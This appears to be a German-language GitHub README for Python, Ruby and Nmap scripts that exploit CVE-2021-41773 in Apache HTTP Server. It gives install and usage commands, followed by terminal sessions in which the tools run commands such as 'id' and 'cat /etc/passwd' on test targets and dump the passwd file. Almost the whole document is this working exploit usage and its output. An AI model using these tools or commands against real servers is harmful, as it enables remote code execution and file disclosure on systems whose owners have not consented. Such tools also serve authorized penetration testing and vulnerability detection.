mauricelambert/cve-2021-41773# Mehrsprachige Exploit- und Erkennungsskripte für CVE-2021-41773, die Remote-Codeausführung und Offenlegung lokaler Dateien auf verwundbaren Apache-Servern ermöglichen.
Dieses Skript nutzt CVE-2021-41773 aus, um Dateien auszulesen und/oder Befehle auszuführen.
Dieses Skript ist verfügbar für:
git clone https://github.com/mauricelambert/CVE-2021-41773.git
cd CVE-2021-41773
# Python
pip install -r requirements.txt
# Python
python3 CVE202141773.py [(-f/--file DATEI|-c/--commands BEFEHL1 BEFEHL2 ...) -s/--ssl -o/--output DATEI ziel]
# Nmap
nmap -p 80 --script RCE_CVE2021_41773 [--script-args "file=<datei>" "command=<befehl>"] <ziel>
# Ruby
ruby CVE-2021-41773.rb [(-f/--file DATEI|-c/--commands "BEFEHL1;BEFEHL2;...") -o/--output DATEI ziel]
~# python3 CVE202141773.py 127.0.0.1:80
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[-] Ziel ist nicht verwundbar.
~# python3 CVE202141773.py 127.0.0.1:8080
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Ziel ist verwundbar.
~# python3 CVE202141773.py -c "id" "echo H4CK" -c "cat /etc/passwd" -u "/" 127.0.0.1:8080
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Ziel ist verwundbar.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
H4CK
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# python3 CVE202141773.py -f "/etc/passwd" -o out.txt 127.0.0.1:8080
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Ziel ist verwundbar.
~# cat out.txt
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# python3 CVE202141773.py -u "error" -f "/do/not/exists" 172.17.0.2
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Ziel ist verwundbar.
[-] Exploit funktioniert nicht (HTTP-Fehler 403).
~# python3 CVE202141773.py -f "/do/not/exists" 172.17.0.2
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Ziel ist verwundbar.
[-] Exploit funktioniert nicht (HTTP-Fehler 404).
~#
~# ruby CVE-2021-41773.rb 127.0.0.1
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Ziel: 127.0.0.1 ist verwundbar
~# ruby CVE-2021-41773.rb -c "id; echo abc" 127.0.0.1
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Ziel ist verwundbar.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
abc
~# ruby CVE-2021-41773.rb -f "/etc/passwd" -o abc.txt
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
Host (Ziel): 127.0.0.1
[+] Ziel ist verwundbar.
~# cat abc.txt
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~#
~# nmap -p 80 --script RCE_CVE2021_41773 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:39 CET
NSE: Web service is up. Send payload...
NSE: Mode: detect only. No exploit.
NSE: Target is vulnerable.
Nmap scan report for 172.17.0.2
Host is up (0.00015s latency).
PORT STATE SERVICE
80/tcp open http
| RCE_CVE2021_41773:
| CVE-2021-41773:
| title: Apache CVE-2021-41773 RCE
| state: VULNERABLE (Exploitable)
| ids:
| CVE:CVE-2021-41773
| description:
| The Apache Web Server contains a RCE vulnerability. This
| script detects and exploits this vulnerability with RCE
| attack (execute commands) and local file disclosure.
| dates:
| disclosure:
| year: 2021
| day: 29
| month: 09
| disclosure: 2021-09-29
| refs:
| https://nvd.nist.gov/vuln/detail/CVE-2021-41773
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
|_ https://github.com/mauricelambert/CVE-2021-41773
Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
~# nmap -p 80 --script RCE_CVE2021_41773 --script-args "file=/etc/passwd" 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:38 CET
NSE: Web service is up. Send payload...
NSE: Mode: exploit local file disclosure
NSE: Target is vulnerable.
NSE: Exploit is working.
Nmap scan report for 172.17.0.2
Host is up (0.00017s latency).
PORT STATE SERVICE
80/tcp open http
| RCE_CVE2021_41773:
| CVE-2021-41773:
| title: Apache CVE-2021-41773 RCE
| state: VULNERABLE (Exploitable)
| ids:
| CVE:CVE-2021-41773
| description:
| The Apache Web Server contains a RCE vulnerability. This
| script detects and exploits this vulnerability with RCE
| attack (execute commands) and local file disclosure.
| dates:
| disclosure:
| month: 09
| year: 2021
| day: 29
| disclosure: 2021-09-29
| refs:
| https://github.com/mauricelambert/CVE-2021-41773
| https://nvd.nist.gov/vuln/detail/CVE-2021-41773
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
| exploit output:
|
| root:x:0:0:root:/root:/bin/bash
| www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|_
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
~# nmap -p 80 --script RCE_CVE2021_41773 --script-args "command=id" 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:32 CET
NSE: Web service is up. Send payload...
NSE: Mode: exploit RCE
NSE: Target is vulnerable.
NSE: Exploit is working.
Nmap scan report for 172.17.0.2
Host is up (0.00087s latency).
PORT STATE SERVICE
80/tcp open http
| RCE_CVE2021_41773:
| CVE-2021-41773:
| title: Apache CVE-2021-41773 RCE
| state: VULNERABLE (Exploitable)
| ids:
| CVE:CVE-2021-41773
| description:
| The Apache Web Server contains a RCE vulnerability. This
| script detects and exploits this vulnerability with RCE
| attack (execute commands) and local file disclosure.
| dates:
| disclosure:
| day: 29
| year: 2021
| month: 09
| disclosure: 2021-09-29
| refs:
| https://nvd.nist.gov/vuln/detail/CVE-2021-41773
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
| https://github.com/mauricelambert/CVE-2021-41773
| exploit output:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|_
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
~#
Lizenziert unter der GPL, Version 3.